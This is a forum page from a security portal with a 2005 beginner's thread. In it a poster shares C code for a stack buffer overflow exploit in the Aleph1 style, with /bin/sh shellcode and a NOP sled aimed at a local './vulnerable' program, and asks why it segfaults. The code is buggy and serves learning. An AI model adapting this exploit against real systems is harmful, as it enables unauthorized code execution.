Login or Register :: Home :: Search :: Your Account :: Forums :: Waraxe Advisories :: Tools :: June 26, 2026 Menu Home Logout Discussions Forums Members List IRC chat Tools Base64 coder MD5 hash CRC32 checksum ROT13 coder SHA-1 hash URL-decoder Sql Char Encoder Affiliates y3dips ITsec Md5 Cracker User Manuals AlbumNow Content Content Sections FAQ Top Info Feedback Recommend Us Search Journal Your Account User Info Welcome, Anonymous Nickname Password (Register) Membership: Latest: MichaelSnaRe New Today: 0 New Yesterday: 0 Overall: 9144 People Online: Visitors: 231 Members: 0 Total: 231 Full disclosure OpenBSD mpls_do_error: Remote Kernel Stack Disclosure via MPLS Label Stack Over-read OpenBSD sppp_pap_input: PAP authentication bypass SEC Consult SA-20260618-0 :: Hardcoded Root Cloud Credentials in Application Binaries in Silver Leaf Technologies - Worksnaps.net Worksnaps SEC Consult SA-20260617-1 :: Multiple Vulnerabilities in Quanos Content Solutions - SCHEMA ST4 SEC Consult SA-20260617-0 :: Multiple Critical Vulnerabilities in Sprecher Automation SPRECON-E-C/-E-P/-E-T3 SEC Consult SA-20260616-0 :: Broken Access Control in syracom AG Secure Login (2FA) for Atlassian Jira / Confluence / Bitbucket #CVE-2026-12225 APPLE-SA-06-16-2026-1 Beats Firmware Update 1B211 PHP 8.5.7 `levenshtein()` signed-integer overflow PHP 8.5.7 `dom_xml_serialization_al gorithm()` stack-overflow PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read CVE-2025-68624: Cross-Tenant Authentication Bypass by Spoofing in N-able Mail Assure SEC Consult SA-20260615-1 :: Multiple Vulnerabilities in Wertheim SafeController Hardware for VAULT ROOMS (Safe Deposit Locker System – Microcontroller) SEC Consult SA-20260615-0 :: Multiple Critical Vulnerabilities in Wertheim SafeController Software for VAULT ROOMS (Safe Deposit Locker System) SEC Consult SA-20260610-0 :: Local Privilege Escalation in Slate Digital Connect (macOS) IT Security and Insecurity Portal www.waraxe.us Forum Index -> Newbies corner -> Writing buffer overflows - new to the compsec thing View previous topic :: View next topic Writing buffer overflows - new to the compsec thing Posted: Tue Oct 11, 2005 4:38 pm bej Beginner Joined: Oct 11, 2005 Posts: 3 Hello, I'm trying to write an exploit for a particular software. As usual, I'm having trouble. I've read a few documents on BOs and absorbed the information fairly well. However, I'm still having some trouble. Let me give you some background: Platform is Linux x86. The buffer is an array of 20 chars. EIP is 28 bytes away. ESP is at 0xbffff6f4. Here's my code. I probably don't fully understand this. If so, please correct me. Code: #define NOP '\x90' #define EXIT 0 typedef unsigned long ulong; char shellcode[] = "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; ulong getesp(void) { asm("movl %esp, %eax"); } int main() { int i; char buff[52], *ptr; long *ptr2; ulong esp = getesp(); ptr2 = buff; ptr = (long *) ptr2; for (i = 0; i < 51; i++) { *(ptr2++) = esp; } /* segfault around here */ for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1); i++) { buff[i] = NOP; } /* segfault around here */ for (i=0; i < strlen(shellcode); i++) { *(ptr++) = shellcode[i]; } buff[52] = 0; printf("gogogo!\n"); execl("./vulnerable", "vulnerable", buff, 0); return (EXIT); } Posted: Wed Oct 19, 2005 3:59 pm bej Beginner Joined: Oct 11, 2005 Posts: 3 Please? I modified a portion of the code that I thought was incorrect. Now it segfaults in a different part: Code: for (i = 0; i < (sizeof(buff) - strlen(shellcode) - 1 - sizeof(esp)); i++) { buff[i] = NOP; } I may have been overwriting the return address with NOPs, right? I'm very confused. I'm using Aleph1's method, btw. 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